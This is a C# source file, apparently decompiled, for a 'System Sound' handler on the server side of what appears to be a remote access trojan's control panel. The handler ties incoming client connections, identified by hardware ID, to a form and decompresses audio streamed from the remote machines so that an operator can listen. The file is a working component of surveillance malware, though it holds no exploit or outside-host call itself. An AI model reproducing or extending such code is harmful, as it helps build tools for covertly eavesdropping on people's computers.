Files
2026-08-27 11:21:58 -06:00

57 lines
1.3 KiB
C#

using System.IO;
using System.IO.Compression;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerSystemSound
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (text == "Sound")
{
if (client.Tag == null)
{
client.Disconnect();
}
else
{
((FormSystemSound)client.Tag).Buffer(Decompress((byte[])objects[2]));
}
}
return;
}
FormSystemSound form = (FormSystemSound)Application.OpenForms["SystemSound:" + (string)objects[2]];
if (form == null)
{
client.Disconnect();
return;
}
form.Invoke((MethodInvoker)delegate
{
form.Text = "System Sound [" + (string)objects[2] + "]";
form.client = client;
form.trackBar1.Enabled = true;
form.materialSwitch1.Enabled = true;
});
client.Tag = form;
client.Hwid = (string)objects[2];
}
private static byte[] Decompress(byte[] inputBytes)
{
using MemoryStream stream = new MemoryStream(inputBytes);
using MemoryStream memoryStream = new MemoryStream();
using (DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress))
{
deflateStream.CopyTo(memoryStream);
}
return memoryStream.ToArray();
}
}